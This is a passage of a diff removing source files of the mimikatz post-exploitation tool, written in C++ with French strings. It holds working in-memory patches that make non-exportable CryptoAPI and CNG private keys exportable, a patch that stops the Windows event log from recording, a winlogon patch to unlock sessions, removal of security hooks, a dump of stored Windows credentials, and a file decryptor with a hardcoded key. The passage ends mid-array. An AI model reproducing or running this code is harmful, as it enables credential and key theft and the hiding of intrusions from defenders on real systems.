(*outputStream) << L"\t\tExport public dans \'" << DERFile << L"\' : " << (reussite ? L"OK" : L"KO") << endl;
|
||||
if(!reussite)
|
||||
{
|
||||
(*outputStream) << L"\t\t\t" << mod_system::getWinError() << endl;
|
||||
}
|
||||
}
|
||||
delete certName;
|
||||
}
|
||||
CertCloseStore(hCertificateStore, CERT_CLOSE_STORE_FORCE_FLAG);
|
||||
}
|
||||
else (*outputStream) << L"CertOpenStore : " << mod_system::getWinError() << endl;
|
||||
}
|
||||
else (*outputStream) << L" introuvable !" << endl;
|
||||
}
|
||||
|
||||
|
||||
bool mod_mimikatz_crypto::patchcapi(vector<wstring> * arguments)
|
||||
{
|
||||
wchar_t LIBNAME_WALL_RSA[] = L"rsaenh.dll";
|
||||
char FUNCNAM_WALL_EXPORT[] = "CPExportKey";
|
||||
#ifdef _M_X64
|
||||
BYTE PTRN_WIN5_CPExportKey_4001[] = {0x0c, 0x01, 0x40, 0x00, 0x00, 0x75};
|
||||
BYTE PTRN_WIN5_CPExportKey_4000[] = {0x0c, 0x0e, 0x72};
|
||||
BYTE PATC_WIN5_CPExportKey_EXPORT[] = {0xeb};
|
||||
LONG OFFS_WIN5_CPExportKey_4001_EXPORT = -4;
|
||||
LONG OFFS_WIN5_CPExportKey_4000_EXPORT = -5;
|
||||
|
||||
BYTE PTRN_W6AL_CPExportKey_4001[] = {0x0c, 0x01, 0x40, 0x00, 0x00, 0x0f, 0x85};
|
||||
BYTE PTRN_WIN6_CPExportKey_4000[] = {0x0c, 0x0e, 0x0f, 0x82};
|
||||
BYTE PTRN_WIN8_CPExportKey_4000[] = {0x0c, 0x00, 0x40, 0x00, 0x00, 0x0f, 0x85};
|
||||
BYTE PATC_W6AL_CPExportKey_EXPORT[] = {0x90, 0xe9};
|
||||
LONG OFFS_W6AL_CPExportKey_EXPORT = 5;
|
||||
LONG OFFS_WIN6_CPExportKey_4000_EXPORT = 2;
|
||||
#elif defined _M_IX86
|
||||
BYTE PTRN_WIN5_CPExportKey_4001[] = {0x08, 0x01, 0x40, 0x75};
|
||||
BYTE PTRN_WIN5_CPExportKey_4000[] = {0x09, 0x40, 0x0f, 0x84};
|
||||
BYTE PATC_WIN5_CPExportKey_EXPORT[] = {0xeb};
|
||||
LONG OFFS_WIN5_CPExportKey_4001_EXPORT = -5;
|
||||
LONG OFFS_WIN5_CPExportKey_4000_EXPORT = -7;
|
||||
|
||||
BYTE PTRN_WI60_CPExportKey_4001[] = {0x08, 0x01, 0x40, 0x0f, 0x85};
|
||||
BYTE PTRN_WIN6_CPExportKey_4001[] = {0x08, 0x01, 0x40, 0x00, 0x00, 0x0f, 0x85};
|
||||
BYTE PTRN_WI60_CPExportKey_4000[] = {0x08, 0x00, 0x40, 0x0f, 0x85};
|
||||
BYTE PTRN_WIN6_CPExportKey_4000[] = {0x08, 0x00, 0x40, 0x00, 0x00, 0x0f, 0x85};
|
||||
BYTE PATC_W6AL_CPExportKey_EXPORT[] = {0x90, 0xe9};
|
||||
LONG OFFS_WI60_CPExportKey_EXPORT = 3;
|
||||
LONG OFFS_WIN6_CPExportKey_EXPORT = 5;
|
||||
#endif
|
||||
|
||||
PBYTE ptr4001 = NULL; PBYTE pattern4001 = NULL; ULONG taillePattern4001 = 0; PBYTE patch4001 = NULL; ULONG taillePatch4001 = 0; LONG offsetPatch4001 = 0;
|
||||
PBYTE ptr4000 = NULL; PBYTE pattern4000 = NULL; ULONG taillePattern4000 = 0; PBYTE patch4000 = NULL; ULONG taillePatch4000 = 0; LONG offsetPatch4000 = 0;
|
||||
|
||||
if(mod_system::GLOB_Version.dwMajorVersion < 6)
|
||||
{
|
||||
pattern4001 = PTRN_WIN5_CPExportKey_4001; taillePattern4001 = sizeof(PTRN_WIN5_CPExportKey_4001);
|
||||
pattern4000 = PTRN_WIN5_CPExportKey_4000; taillePattern4000 = sizeof(PTRN_WIN5_CPExportKey_4000);
|
||||
patch4001 = patch4000 = PATC_WIN5_CPExportKey_EXPORT; taillePatch4001 = taillePatch4000 = sizeof(PATC_WIN5_CPExportKey_EXPORT);
|
||||
offsetPatch4001 = OFFS_WIN5_CPExportKey_4001_EXPORT;
|
||||
offsetPatch4000 = OFFS_WIN5_CPExportKey_4000_EXPORT;
|
||||
}
|
||||
else
|
||||
{
|
||||
#ifdef _M_X64
|
||||
pattern4001 = PTRN_W6AL_CPExportKey_4001; taillePattern4001 = sizeof(PTRN_W6AL_CPExportKey_4001);
|
||||
patch4001 = patch4000 = PATC_W6AL_CPExportKey_EXPORT; taillePatch4001 = taillePatch4000 = sizeof(PATC_W6AL_CPExportKey_EXPORT);
|
||||
offsetPatch4001 = OFFS_W6AL_CPExportKey_EXPORT;
|
||||
if(mod_system::GLOB_Version.dwBuildNumber < 8000)
|
||||
{
|
||||
pattern4000 = PTRN_WIN6_CPExportKey_4000; taillePattern4000 = sizeof(PTRN_WIN6_CPExportKey_4000);
|
||||
offsetPatch4000 = OFFS_WIN6_CPExportKey_4000_EXPORT;
|
||||
}
|
||||
else
|
||||
{
|
||||
pattern4000 = PTRN_WIN8_CPExportKey_4000; taillePattern4000 = sizeof(PTRN_WIN8_CPExportKey_4000);
|
||||
offsetPatch4000 = OFFS_W6AL_CPExportKey_EXPORT;
|
||||
}
|
||||
#elif defined _M_IX86
|
||||
patch4001 = patch4000 = PATC_W6AL_CPExportKey_EXPORT; taillePatch4001 = taillePatch4000 = sizeof(PATC_W6AL_CPExportKey_EXPORT);
|
||||
if(mod_system::GLOB_Version.dwMinorVersion < 1)
|
||||
{
|
||||
pattern4001 = PTRN_WI60_CPExportKey_4001; taillePattern4001 = sizeof(PTRN_WI60_CPExportKey_4001);
|
||||
pattern4000 = PTRN_WI60_CPExportKey_4000; taillePattern4000 = sizeof(PTRN_WI60_CPExportKey_4000);
|
||||
offsetPatch4001 = offsetPatch4000 = OFFS_WI60_CPExportKey_EXPORT;
|
||||
}
|
||||
else
|
||||
{
|
||||
pattern4001 = PTRN_WIN6_CPExportKey_4001; taillePattern4001 = sizeof(PTRN_WIN6_CPExportKey_4001);
|
||||
pattern4000 = PTRN_WIN6_CPExportKey_4000; taillePattern4000 = sizeof(PTRN_WIN6_CPExportKey_4000);
|
||||
offsetPatch4001 = offsetPatch4000 = OFFS_WIN6_CPExportKey_EXPORT;
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
if(HMODULE hRSA = LoadLibrary(LIBNAME_WALL_RSA))
|
||||
{
|
||||
if( mod_memory::genericPatternSearch(&ptr4001, LIBNAME_WALL_RSA, pattern4001, taillePattern4001, offsetPatch4001, FUNCNAM_WALL_EXPORT, true, true) &&
|
||||
mod_memory::genericPatternSearch(&ptr4000, LIBNAME_WALL_RSA, pattern4000, taillePattern4000, offsetPatch4000, FUNCNAM_WALL_EXPORT, true, true))
|
||||
{
|
||||
(*outputStream) << L"Patterns CRYPT_EXPORTABLE | CRYPT_ARCHIVABLE et CRYPT_ARCHIVABLE trouvés !" << endl <<
|
||||
L"Patch CRYPT_EXPORTABLE | CRYPT_ARCHIVABLE : " << (mod_memory::writeMemory(ptr4001, patch4001, taillePatch4001) ? L"OK" : L"KO") << endl <<
|
||||
L"Patch CRYPT_ARCHIVABLE : " << (mod_memory::writeMemory(ptr4000, patch4000, taillePatch4000) ? L"OK" : L"KO") << endl;
|
||||
}
|
||||
FreeLibrary(hRSA);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_crypto::patchcng(vector<wstring> * arguments)
|
||||
{
|
||||
wchar_t LIBNAME_WNO8_NCrypt[] = L"ncrypt.dll";
|
||||
wchar_t LIBNAME_WIN8_NCrypt[] = L"ncryptprov.dll";
|
||||
#ifdef _M_X64
|
||||
BYTE PTRN_WNO8_SPCryptExportKey[] = {0xf6, 0x43, 0x28, 0x02, 0x75};
|
||||
BYTE PTRN_WIN8_SPCryptExportKey[] = {0xf6, 0x43, 0x24, 0x02, 0x75};
|
||||
BYTE PTRN_WI60_SPCryptExportKey[] = {0xf6, 0x43, 0x28, 0x02, 0x0f, 0x85};
|
||||
|
||||
BYTE PATC_WI60_SPCryptExportKey_EXPORT[] = {0x90, 0xe9};
|
||||
BYTE PATC_WI60_SPCryptExportKey_NOEXPORT[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xeb};
|
||||
BYTE PATC_WALL_SPCryptExportKey_NOEXPORT[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xeb};
|
||||
#elif defined _M_IX86
|
||||
BYTE PTRN_WNO8_SPCryptExportKey[] = {0xf6, 0x41, 0x20, 0x02, 0x75};
|
||||
BYTE PTRN_WIN8_SPCryptExportKey[] = {0xf6, 0x47, 0x1c, 0x02, 0x75};
|
||||
|
||||
BYTE PATC_WNO8_SPCryptExportKey_NOEXPORT[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0xeb};
|
||||
BYTE PATC_WIN8_SPCryptExportKey_NOEXPORT[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xeb};
|
||||
#endif
|
||||
BYTE PATC_WALL_SPCryptExportKey_EXPORT[] = {0xeb};
|
||||
LONG OFFS_WALL_SPCryptExportKey_EXPORT = 4;
|
||||
|
||||
if(mod_cryptong::isNcrypt)
|
||||
{
|
||||
if(mod_cryptong::justInitCNG())
|
||||
{
|
||||
wchar_t * libName; PBYTE pattern = NULL; ULONG taillePattern = 0; PBYTE patch = NULL; ULONG taillePatch = 0; LONG offsetPatch = 0;
|
||||
|
||||
if(mod_system::GLOB_Version.dwBuildNumber < 8000)
|
||||
{
|
||||
#ifdef _M_X64
|
||||
if(mod_system::GLOB_Version.dwMinorVersion < 1)
|
||||
{
|
||||
pattern = PTRN_WI60_SPCryptExportKey;
|
||||
taillePattern = sizeof(PTRN_WI60_SPCryptExportKey);
|
||||
}
|
||||
else
|
||||
{
|
||||
#endif
|
||||
pattern = PTRN_WNO8_SPCryptExportKey;
|
||||
taillePattern = sizeof(PTRN_WNO8_SPCryptExportKey);
|
||||
#ifdef _M_X64
|
||||
}
|
||||
#endif
|
||||
libName = LIBNAME_WNO8_NCrypt;
|
||||
}
|
||||
else
|
||||
{
|
||||
pattern = PTRN_WIN8_SPCryptExportKey;
|
||||
taillePattern = sizeof(PTRN_WIN8_SPCryptExportKey);
|
||||
libName = LIBNAME_WIN8_NCrypt;
|
||||
}
|
||||
|
||||
if(arguments->empty())
|
||||
{
|
||||
#ifdef _M_X64
|
||||
if(mod_system::GLOB_Version.dwMinorVersion < 1)
|
||||
{
|
||||
patch = PATC_WI60_SPCryptExportKey_EXPORT;
|
||||
taillePatch = sizeof(PATC_WI60_SPCryptExportKey_EXPORT);
|
||||
}
|
||||
else
|
||||
{
|
||||
#endif
|
||||
patch = PATC_WALL_SPCryptExportKey_EXPORT;
|
||||
taillePatch = sizeof(PATC_WALL_SPCryptExportKey_EXPORT);
|
||||
#ifdef _M_X64
|
||||
}
|
||||
#endif
|
||||
}
|
||||
else
|
||||
{
|
||||
#ifdef _M_X64
|
||||
if(mod_system::GLOB_Version.dwMinorVersion < 1)
|
||||
{
|
||||
patch = PATC_WI60_SPCryptExportKey_NOEXPORT;
|
||||
taillePatch = sizeof(PATC_WI60_SPCryptExportKey_NOEXPORT);
|
||||
}
|
||||
else
|
||||
{
|
||||
patch = PATC_WALL_SPCryptExportKey_NOEXPORT;
|
||||
taillePatch = sizeof(PATC_WALL_SPCryptExportKey_NOEXPORT);
|
||||
}
|
||||
#elif defined _M_IX86
|
||||
if(mod_system::GLOB_Version.dwBuildNumber < 8000)
|
||||
{
|
||||
patch = PATC_WNO8_SPCryptExportKey_NOEXPORT;
|
||||
taillePatch = sizeof(PATC_WNO8_SPCryptExportKey_NOEXPORT);
|
||||
}
|
||||
else
|
||||
{
|
||||
patch = PATC_WIN8_SPCryptExportKey_NOEXPORT;
|
||||
taillePatch = sizeof(PATC_WIN8_SPCryptExportKey_NOEXPORT);
|
||||
}
|
||||
#endif
|
||||
}
|
||||
offsetPatch = OFFS_WALL_SPCryptExportKey_EXPORT;
|
||||
|
||||
mod_patch::patchModuleOfService(L"KeyIso", libName, pattern, taillePattern, patch, taillePatch, offsetPatch);
|
||||
}
|
||||
else (*outputStream) << L"Impossible d\'initialiser la CNG : " << mod_system::getWinError() << endl;
|
||||
}
|
||||
else (*outputStream) << L"Pas de CNG ?" << endl;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
void mod_mimikatz_crypto::sanitizeFileName(wstring * fileName)
|
||||
{
|
||||
wchar_t monTab[] = {L'\\', L'/', L':', L'*', L'?', L'\"', L'<', L'>', L'|'};
|
||||
for(wstring::iterator monIterateur = fileName->begin(); monIterateur != fileName->end(); ++monIterateur)
|
||||
{
|
||||
for(ULONG i = 0; i < sizeof(monTab) / sizeof(wchar_t); i++)
|
||||
{
|
||||
if(*monIterateur == monTab[i])
|
||||
{
|
||||
*monIterateur = L'~';
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -1,35 +0,0 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "globdefs.h"
|
||||
#include "mod_cryptoapi.h"
|
||||
#include "mod_cryptong.h"
|
||||
#include "mod_crypto.h"
|
||||
#include "mod_process.h"
|
||||
#include "mod_patch.h"
|
||||
#include <iostream>
|
||||
#include <sstream>
|
||||
|
||||
class mod_mimikatz_crypto
|
||||
{
|
||||
private:
|
||||
static void sanitizeFileName(wstring * fileName);
|
||||
static void listAndOrExportCertificates(vector<wstring> * arguments, bool exportCert = false);
|
||||
static void listAndOrExportKeys(vector<wstring> * arguments, bool exportKeys = false);
|
||||
public:
|
||||
static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
|
||||
|
||||
static bool listProviders(vector<wstring> * arguments);
|
||||
static bool listStores(vector<wstring> * arguments);
|
||||
static bool listKeys(vector<wstring> * arguments);
|
||||
static bool listCertificates(vector<wstring> * arguments);
|
||||
|
||||
static bool exportCertificates(vector<wstring> * arguments);
|
||||
static bool exportKeys(vector<wstring> * arguments);
|
||||
|
||||
static bool patchcapi(vector<wstring> * arguments);
|
||||
static bool patchcng(vector<wstring> * arguments);
|
||||
};
|
@ -1,309 +0,0 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#include "mod_mimikatz_divers.h"
|
||||
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_divers::getMimiKatzCommands()
|
||||
{
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(noroutemon, L"noroutemon", L"[experimental] Patch Juniper Network Connect pour ne plus superviser la table de routage"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(eventdrop, L"eventdrop", L"[super experimental] Patch l\'observateur d\'événements pour ne plus rien enregistrer"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(cancelator, L"cancelator", L"Patch le bouton annuler de Windows XP et 2003 en console pour déverrouiller une session"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(secrets, L"secrets", L"Affiche les secrets utilisateur"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(nodetour, L":nodetour", L"Anti-détours SR"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(pitme, L":pitme", L"Déchiffre les fichiers PIT (Quest vWorkspace Client)"));
|
||||
return monVector;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_divers::nodetour(vector<wstring> * arguments)
|
||||
{
|
||||
vector<mod_patch::OS> mesOS;
|
||||
mesOS.push_back(mod_patch::WINDOWS_2003_____x64);
|
||||
mesOS.push_back(mod_patch::WINDOWS_VISTA____x64);
|
||||
mesOS.push_back(mod_patch::WINDOWS_2008_____x64);
|
||||
mesOS.push_back(mod_patch::WINDOWS_SEVEN____x64);
|
||||
mesOS.push_back(mod_patch::WINDOWS_2008r2___x64);
|
||||
|
||||
if(mod_patch::checkVersion(&mesOS))
|
||||
{
|
||||
BYTE monSysEnterRetn[] = {0x0f, 0x05, 0xc3};
|
||||
BYTE monDetouredStub[] = {0x90, 0x90, 0xe9};
|
||||
|
||||
PBYTE monNTDLLptr = reinterpret_cast<PBYTE>(GetProcAddress(GetModuleHandle(L"ntdll"), "NtOpenProcess"));
|
||||
if(memcmp(monNTDLLptr + 8, monDetouredStub, sizeof(monDetouredStub)) == 0)
|
||||
{
|
||||
(*outputStream) << L"Détour trouvé et ";
|
||||
if(mod_memory::writeMemory(monNTDLLptr + 8 + sizeof(monDetouredStub) + sizeof(LONG) + *reinterpret_cast<PLONG>(monNTDLLptr + 8 + sizeof(monDetouredStub)), monSysEnterRetn, sizeof(monSysEnterRetn)))
|
||||
(*outputStream) << L"patché :)";
|
||||
else
|
||||
(*outputStream) << L"NON patché :(";
|
||||
(*outputStream) << endl;
|
||||
}
|
||||
else
|
||||
(*outputStream) << L"Détour non trouvé" << endl;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
bool mod_mimikatz_divers::cancelator(vector<wstring> * arguments)
|
||||
{
|
||||
vector<mod_patch::OS> mesOS;
|
||||
mesOS.push_back(mod_patch::WINDOWS_XP_PRO___x86);
|
||||
mesOS.push_back(mod_patch::WINDOWS_2003_____x86);
|
||||
|
||||
if(mod_patch::checkVersion(&mesOS))
|
||||
{
|
||||
BYTE patternCMPJMP[] = {0xff, 0xff, 0xff, 0x83, 0xff, 0x02, 0x0f, 0x84};
|
||||
BYTE patternNOP[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90};
|
||||
long offsetCibleNOP = 3;
|
||||
|
||||
vector<mod_process::KIWI_PROCESSENTRY32> * mesProcesses = new vector<mod_process::KIWI_PROCESSENTRY32>();
|
||||
wstring processName = L"winlogon.exe";
|
||||
|
||||
if(mod_process::getList(mesProcesses, &processName))
|
||||
{
|
||||
for(vector<mod_process::KIWI_PROCESSENTRY32>::iterator leProcess = mesProcesses->begin(); leProcess != mesProcesses->end(); ++leProcess)
|
||||
{
|
||||
mod_patch::patchModuleOfPID(leProcess->th32ProcessID, L"", patternCMPJMP, sizeof(patternCMPJMP), patternNOP, sizeof(patternNOP), offsetCibleNOP);
|
||||
}
|
||||
}
|
||||
|
||||
delete mesProcesses;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
bool mod_mimikatz_divers::noroutemon(vector<wstring> * arguments)
|
||||
{
|
||||
//BYTE patternTestRouteMon[] = {0x83, 0xec, 0x1c, 0x55, 0x8b, 0xe9}; // 7.0 // 83 ec 1c 55 8b e9
|
||||
BYTE patternTestRouteMon[] = {0x83, 0xec, 0x14, 0x53, 0x8b, 0xd9}; // 7.1 // 83 ec 14 53 8b d9
|
||||
BYTE patternNoTestRouteMon[] = {0xb0, 0x01, 0xc2, 0x04, 0x00};
|
||||
|
||||
mod_patch::patchModuleOfService(L"dsNcService", L"", patternTestRouteMon, sizeof(patternTestRouteMon), patternNoTestRouteMon, sizeof(patternNoTestRouteMon));
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_divers::eventdrop(vector<wstring> * arguments)
|
||||
{
|
||||
wchar_t LIBNAME_WNT5_EVTLOG[] = L"eventlog.dll";
|
||||
wchar_t LIBNAME_WNT6_EVTLOG[] = L"wevtsvc.dll";
|
||||
#ifdef _M_X64
|
||||
BYTE PTRN_WNT5_PerformWriteRequest[] = {0x49, 0x89, 0x5b, 0x10, 0x49, 0x89, 0x73, 0x18};
|
||||
LONG OFFS_WNT5_PerformWriteRequest = -10;
|
||||
BYTE PATC_WNT5_PerformWriteRequest[] = {0x45, 0x33, 0xed, 0xc3};
|
||||
|
||||
BYTE PTRN_WN60_Channel__ActualProcessEvent[] = {0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xf9, 0x48, 0x8b, 0xca, 0x48, 0x8b, 0xda, 0xe8};
|
||||
LONG OFFS_WN60_Channel__ActualProcessEvent = 0;
|
||||
BYTE PATC_WN62_Channel__ActualProcessEvent[] = {0xff, 0xf7, 0x48, 0x83, 0xec, 0x50, 0x48, 0xc7, 0x44, 0x24, 0x20, 0xfe, 0xff, 0xff, 0xff, 0x48, 0x89, 0x5c, 0x24, 0x60, 0x48, 0x8b, 0xda, 0x48, 0x8b, 0xf9, 0x48, 0x8b, 0xca, 0xe8};
|
||||
LONG OFFS_WN62_Channel__ActualProcessEvent = 0;
|
||||
|
||||
BYTE PATC_WNT6_Channel__ActualProcessEvent[] = {0xc3};
|
||||
#elif defined _M_IX86
|
||||
BYTE PTRN_WNT5_PerformWriteRequest[] = {0x89, 0x45, 0xe4, 0x8b, 0x7d, 0x08, 0x89, 0x7d};
|
||||
LONG OFFS_WNT5_PerformWriteRequest = -20;
|
||||
BYTE PATC_WNT5_PerformWriteRequest[] = {0x33, 0xc0, 0xc2, 0x04, 0x00};
|
||||
|
||||
BYTE PTRN_WN60_Channel__ActualProcessEvent[] = {0x8b, 0xff, 0x55, 0x8b, 0xec, 0x56, 0x8b, 0xf1, 0x8b, 0x4d, 0x08, 0xe8};
|
||||
LONG OFFS_WN60_Channel__ActualProcessEvent = 0;
|
||||
BYTE PATC_WN61_Channel__ActualProcessEvent[] = {0x8b, 0xf1, 0x8b, 0x4d, 0x08, 0xe8};
|
||||
LONG OFFS_WN61_Channel__ActualProcessEvent = -(5 + 5 + 2);
|
||||
BYTE PATC_WN62_Channel__ActualProcessEvent[] = {0x33, 0xc4, 0x50, 0x8d, 0x44, 0x24, 0x28, 0x64, 0xa3, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x75, 0x0c};
|
||||
LONG OFFS_WN62_Channel__ActualProcessEvent = -(5 + 1 + 1 + 1 + 3 + 1 + 6 + 5 + 2 + 3 + 2 + 1 + 2);
|
||||
|
||||
BYTE PATC_WNO8_Channel__ActualProcessEvent[] = {0xc2, 0x04, 0x00};
|
||||
BYTE PATC_WIN8_Channel__ActualProcessEvent[] = {0xc2, 0x08, 0x00};
|
||||
#endif
|
||||
|
||||
BYTE * PTRN_Process = NULL; DWORD SIZE_PTRN_Process = 0;
|
||||
BYTE * PATC_Process = NULL; DWORD SIZE_PATC_Process = 0;
|
||||
LONG OFFS_PATC_Process = 0;
|
||||
wstring libEvent;
|
||||
|
||||
if(mod_system::GLOB_Version.dwMajorVersion < 6)
|
||||
{
|
||||
libEvent.assign(LIBNAME_WNT5_EVTLOG);
|
||||
PTRN_Process = PTRN_WNT5_PerformWriteRequest; SIZE_PTRN_Process = sizeof(PTRN_WNT5_PerformWriteRequest);
|
||||
PATC_Process = PATC_WNT5_PerformWriteRequest; SIZE_PATC_Process = sizeof(PATC_WNT5_PerformWriteRequest);
|
||||
OFFS_PATC_Process = OFFS_WNT5_PerformWriteRequest;
|
||||
}
|
||||
else
|
||||
{
|
||||
libEvent.assign(LIBNAME_WNT6_EVTLOG);
|
||||
if(mod_system::GLOB_Version.dwMinorVersion < 1)
|
||||
{
|
||||
PTRN_Process = PTRN_WN60_Channel__ActualProcessEvent; SIZE_PTRN_Process = sizeof(PTRN_WN60_Channel__ActualProcessEvent);
|
||||
OFFS_PATC_Process = OFFS_WN60_Channel__ActualProcessEvent;
|
||||
#ifdef _M_X64
|
||||
}
|
||||
#elif defined _M_IX86
|
||||
PATC_Process = PATC_WNO8_Channel__ActualProcessEvent; SIZE_PATC_Process = sizeof(PATC_WNO8_Channel__ActualProcessEvent);
|
||||
}
|
||||
else if(mod_system::GLOB_Version.dwMinorVersion < 2)
|
||||
{
|
||||
PTRN_Process = PATC_WN61_Channel__ActualProcessEvent; SIZE_PTRN_Process = sizeof(PATC_WN61_Channel__ActualProcessEvent);
|
||||
OFFS_PATC_Process = OFFS_WN61_Channel__ActualProcessEvent;
|
||||
PATC_Process = PATC_WNO8_Channel__ActualProcessEvent; SIZE_PATC_Process = sizeof(PATC_WNO8_Channel__ActualProcessEvent);
|
||||
}
|
||||
#endif
|
||||
else
|
||||
{
|
||||
PTRN_Process = PATC_WN62_Channel__ActualProcessEvent; SIZE_PTRN_Process = sizeof(PATC_WN62_Channel__ActualProcessEvent);
|
||||
OFFS_PATC_Process = OFFS_WN62_Channel__ActualProcessEvent;
|
||||
#ifdef _M_IX86
|
||||
PATC_Process = PATC_WIN8_Channel__ActualProcessEvent; SIZE_PATC_Process = sizeof(PATC_WIN8_Channel__ActualProcessEvent);
|
||||
#endif
|
||||
}
|
||||
|
||||
#ifdef _M_X64
|
||||
PATC_Process = PATC_WNT6_Channel__ActualProcessEvent; SIZE_PATC_Process = sizeof(PATC_WNT6_Channel__ActualProcessEvent);
|
||||
#endif
|
||||
}
|
||||
|
||||
mod_patch::patchModuleOfService(L"EventLog", libEvent, PTRN_Process, SIZE_PTRN_Process, PATC_Process, SIZE_PATC_Process, OFFS_PATC_Process);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_divers::secrets(vector<wstring> * arguments)
|
||||
{
|
||||
DWORD credNb = 0;
|
||||
PCREDENTIAL * pCredential = NULL;
|
||||
DWORD flags = (arguments->empty() ? 0 : CRED_ENUMERATE_ALL_CREDENTIALS);
|
||||
|
||||
if(CredEnumerate(NULL, flags, &credNb, &pCredential))
|
||||
{
|
||||
(*outputStream) << L"Nombre de secrets : " << credNb << endl;
|
||||
|
||||
for(DWORD i = 0; i < credNb; i++)
|
||||
{
|
||||
wstring type;
|
||||
bool isCertificate = false;
|
||||
switch(pCredential[i]->Type)
|
||||
{
|
||||
case CRED_TYPE_GENERIC:
|
||||
type.assign(L"GENERIC");
|
||||
break;
|
||||
case CRED_TYPE_DOMAIN_PASSWORD:
|
||||
type.assign(L"DOMAIN_PASSWORD");
|
||||
break;
|
||||
case CRED_TYPE_DOMAIN_CERTIFICATE:
|
||||
type.assign(L"DOMAIN_CERTIFICATE");
|
||||
isCertificate = true;
|
||||
break;
|
||||
case CRED_TYPE_DOMAIN_VISIBLE_PASSWORD:
|
||||
type.assign(L"DOMAIN_VISIBLE_PASSWORD");
|
||||
break;
|
||||
case CRED_TYPE_GENERIC_CERTIFICATE:
|
||||
type.assign(L"GENERIC_CERTIFICAT");
|
||||
isCertificate = true;
|
||||
break;
|
||||
case CRED_TYPE_DOMAIN_EXTENDED:
|
||||
type.assign(L"DOMAIN_EXTENDED");
|
||||
break;
|
||||
default:
|
||||
type.assign(L"?");
|
||||
}
|
||||
|
||||
(*outputStream) <<
|
||||
L"TargetName : " << pCredential[i]->TargetName << L" / " << (pCredential[i]->TargetAlias ? pCredential[i]->TargetAlias : L"<NULL>") << endl <<
|
||||
L"Type : " << type << L" (" << pCredential[i]->Type << L')' << endl <<
|
||||
L"Comment : " << (pCredential[i]->Comment ? pCredential[i]->Comment : L"<NULL>") << endl <<
|
||||
L"UserName : " << pCredential[i]->UserName << endl <<
|
||||
L"Credential : " << mod_text::stringOrHex(pCredential[i]->CredentialBlob, pCredential[i]->CredentialBlobSize) << endl <<
|
||||
endl;
|
||||
}
|
||||
CredFree(pCredential);
|
||||
}
|
||||
else (*outputStream) << L"CredEnumerate : " << mod_system::getWinError() << endl;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
bool mod_mimikatz_divers::pitme(vector<wstring> * arguments)
|
||||
{
|
||||
static const BYTE HARDCODED_KEY[] = {
|
||||
0x80, 0x5b, 0xe8, 0x18, 0x6f, 0x64, 0x89, 0x3a, 0x34, 0xce, 0x59, 0xdf, 0x4d, 0xb4, 0x5a, 0x0f,
|
||||
0x69, 0x94, 0x58, 0x70, 0x71, 0x4b, 0x17, 0xcf, 0xc3, 0x40, 0xaa, 0xfc, 0xc5, 0xe0, 0x21, 0xdb,
|
||||
0x9a, 0x49, 0x68, 0xb8, 0x2f, 0x4a, 0x6c, 0xdc, 0x7a, 0x8b, 0x7f, 0x5c, 0x03, 0x08, 0xfe, 0x39,
|
||||
0xa3, 0xc6, 0x31, 0xa6, 0x8c, 0xbd, 0x72, 0xa4, 0x8a, 0x1b, 0x92, 0xd5, 0x87, 0xad, 0x78, 0x8f,
|
||||
0x55, 0x96, 0x0b, 0x30, 0xa8, 0x43, 0x53, 0xb0, 0x62, 0xa0, 0xda, 0x7c, 0x13, 0x8d, 0x5d, 0x81,
|
||||
0xc0, 0x8e, 0x90, 0x88, 0xe4, 0xb7, 0x76, 0xc2, 0xb5, 0x04, 0x93, 0xa5, 0xa9, 0x9e, 0xab, 0xf5,
|
||||
0x37, 0xac, 0x99, 0x26, 0xe2, 0x38, 0x85, 0xe1, 0x74, 0x77, 0x32, 0xe5, 0x91, 0x23, 0xb1, 0x10,
|
||||
0x4c, 0x47, 0x3f, 0xbe, 0x82, 0x22, 0x6a, 0x51, 0xd0, 0x63, 0x75, 0x11, 0x33, 0x9b, 0xfb, 0x3b,
|
||||
0xca, 0xed, 0xdd, 0x44, 0xe6, 0x12, 0x4e, 0x97, 0x3c, 0x79, 0x4f, 0x41, 0x66, 0xba, 0x50, 0x0e,
|
||||
